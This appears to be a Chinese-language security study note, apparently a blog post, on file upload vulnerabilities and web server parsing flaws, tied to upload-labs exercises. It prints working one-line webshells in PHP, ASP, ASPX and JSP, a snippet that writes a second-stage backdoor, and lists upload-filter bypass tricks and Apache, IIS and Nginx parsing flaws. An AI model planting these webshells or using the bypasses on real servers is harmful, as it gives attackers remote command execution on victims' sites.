文件上传

文件上传

一、Webshell

1.1 简介

写入webshell的目的就是获得对服务器的执行操作权限

webshell就是一个木马后门。

webshell大多以动态脚本形式出现,一般不会在系统日志中留下记录,只会在web日志中留下数据传输记录。

1.2 分类

  1. 根据文件大小分类:一句话木马、小马、大马
  2. 根据脚本类型分类:jsp、asp、aspx、php

上传小马的目的是用来上传大马。直接传大马动静太大,容易被拦下。小马一般只包含文件上传功能,而大马功能更多。

1.3 常见一句话木马

php

<?php eval($_GET[pass]);?>
<?php eval($_POST[pass]);?>
<?php @$a = $_COOKIE[1];$b='';$c='';@assert($b.$a);?>

asp

<%eval request("pass")%>

aspx

<%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>

jsp

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

1.4 一句话木马写小马

<?php fputs(fopen("文件名.php","w"),'<?php 文件内容');?>

注意文件内容需要进行编码,因为不能出现特殊字符

<?php fputs(fopen("文件名.php","w"),'<?php 文件内容');?>

1.5 Webshell管理工具

  1. 中国菜刀
  2. CKnife
  3. Weevely3
  4. 中国蚁剑(AntSword)
  5. 冰蝎(Behinder)
  6. 哥斯拉

二、文件上传

2.1 漏洞产生的条件

文件上传限制被绕过

文件上传之后的地址可以被找到

文件可执行

2.2 漏洞可能存在的位置

网站的一切上传功能,比如头像上传。

2.3 常见的文件上传检测方式

  1. 客户端 JS 检测(检测文件扩展名)
  2. 服务端 MIME 类型检测(检测content-type内容)
  3. 服务端目录路径检测(检测path相关参数)
  4. 服务端文件扩展名检测(检测跟文件extension相关内容)
  5. 服务端文件内容检测(检测内容是否有恶意代码)等

2.4 文件上传绕过

2.4.1 客户端 JS​ 检测(检测文件扩展名)

原理:对上传文件的文件扩展名进行提取,再依照 js 代码对其进行检测

判断方式:上传被阻止时,burp抓不到包。因为在前端就没有通过审查,所以并没有对后端发起请求,所以抓不到包。

绕过方式

  • 浏览器禁用 js
  • 对前端代码进行修改,去掉审查部分
  • burp抓包绕过

例子:upload-labs-pass01

2.4.2 服务端 MIME​ 类型检测(检测content-type​内容)

原理:检测文件上传过程中 http 包的 Content-Type 字段

绕过方式:用 burpsuite 抓包修改请求包中的 Content-Type 字段

例子:upload-labs-pass02

2.4.3 服务端文件后缀检测--黑名单类

原理:对上传文件的文件拓展名进行提取,再依照php代码中的黑名单列表进行检测。

绕过方式

  • 后缀变形绕过(大小写、php5、phtml)
  • 重写绕过(过滤方式是将php替换为空,但是仅替换一次,所以可以上传 phphpp ->php)
  • Windows特性绕过(空格、点 .::$DATA
  • %00截断(%00是NULL,当程序输出NULL时,以为数据结束了。所以可以上传 a.php%00.jpg ->a.php)
  • 配合Apache解析漏洞(Apache解析是从右往左判断,遇到不可识别的就继续往左判断。所以可以上传a.php.jpp.pnn ->a.php)
  • .htaccess绕过(这是Apache的一个配置文件,可以用来控制所在目录访问权限以及解析设置,所以可以通过该文件,将a.jpg文件当做php文件来解析)

例子:upload-labs-pass03/4/5/6/7/8/9/10

2.4.4 服务端文件后缀检测--白名单类

绕过方式

  • %00截断
  • 0x00截断
  • MIME绕过

例子

2.4.5 服务端文件内容检测(检测内容是否有恶意代码)

原理:主要有两种检测方法:1.通过上传文件内容开始处的文件头(文件幻数)来判断;2.文件加载检测(一般是图像渲染测试,再严格点是二次渲染)

绕过方式

  • 修改文件头(可用工具WinHex,具体需要添加的文件头是什么直接搜)
  • 代码注入绕过(在不破坏文件本身渲染的情况下找一个空白区填充代码,一般是图片的注释区)
  • 攻击文件加载器自身(对付二次渲染,比较困难)

例子

三、中间件解析漏洞

3.1 Apache解析漏洞

Apache解析是从右往左判断,遇到不可识别的就继续往左判断。所以可以上传a.php.jpp.pnn ->a.php

3.2 IIS 6.0解析漏洞

目录解析:服务器默认会把asp目录下的文件都解析成asp文件。

文件解析:服务器默认不解析 ; 后面的内容,所以可以上传 a.asp;.jpg ->a.asp

3.3 IIS 7.0解析漏洞

对任意文件名,只要URL后面追加上 /xxx.php 就会按照php的方式去解析。

例如上传.../a.jpg/a.php 那么 a.jpg 就会被当做php去解析

3.4 Nginx解析漏洞

  1. 对任意文件名,只要URL后面追加上 /xxx.php​ 就会按照php​的方式去解析。

    例如上传.../a.jpg/a.php​ 那么 a.jpg​ 就会被当做php去解析

  2. 对低版本的Nginx(版本<=0.8.37)可以进行空字节代码执行漏洞攻击,即xxx%00.php​ 会被当做php解析

两张导图

image-20230802182941953

image

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇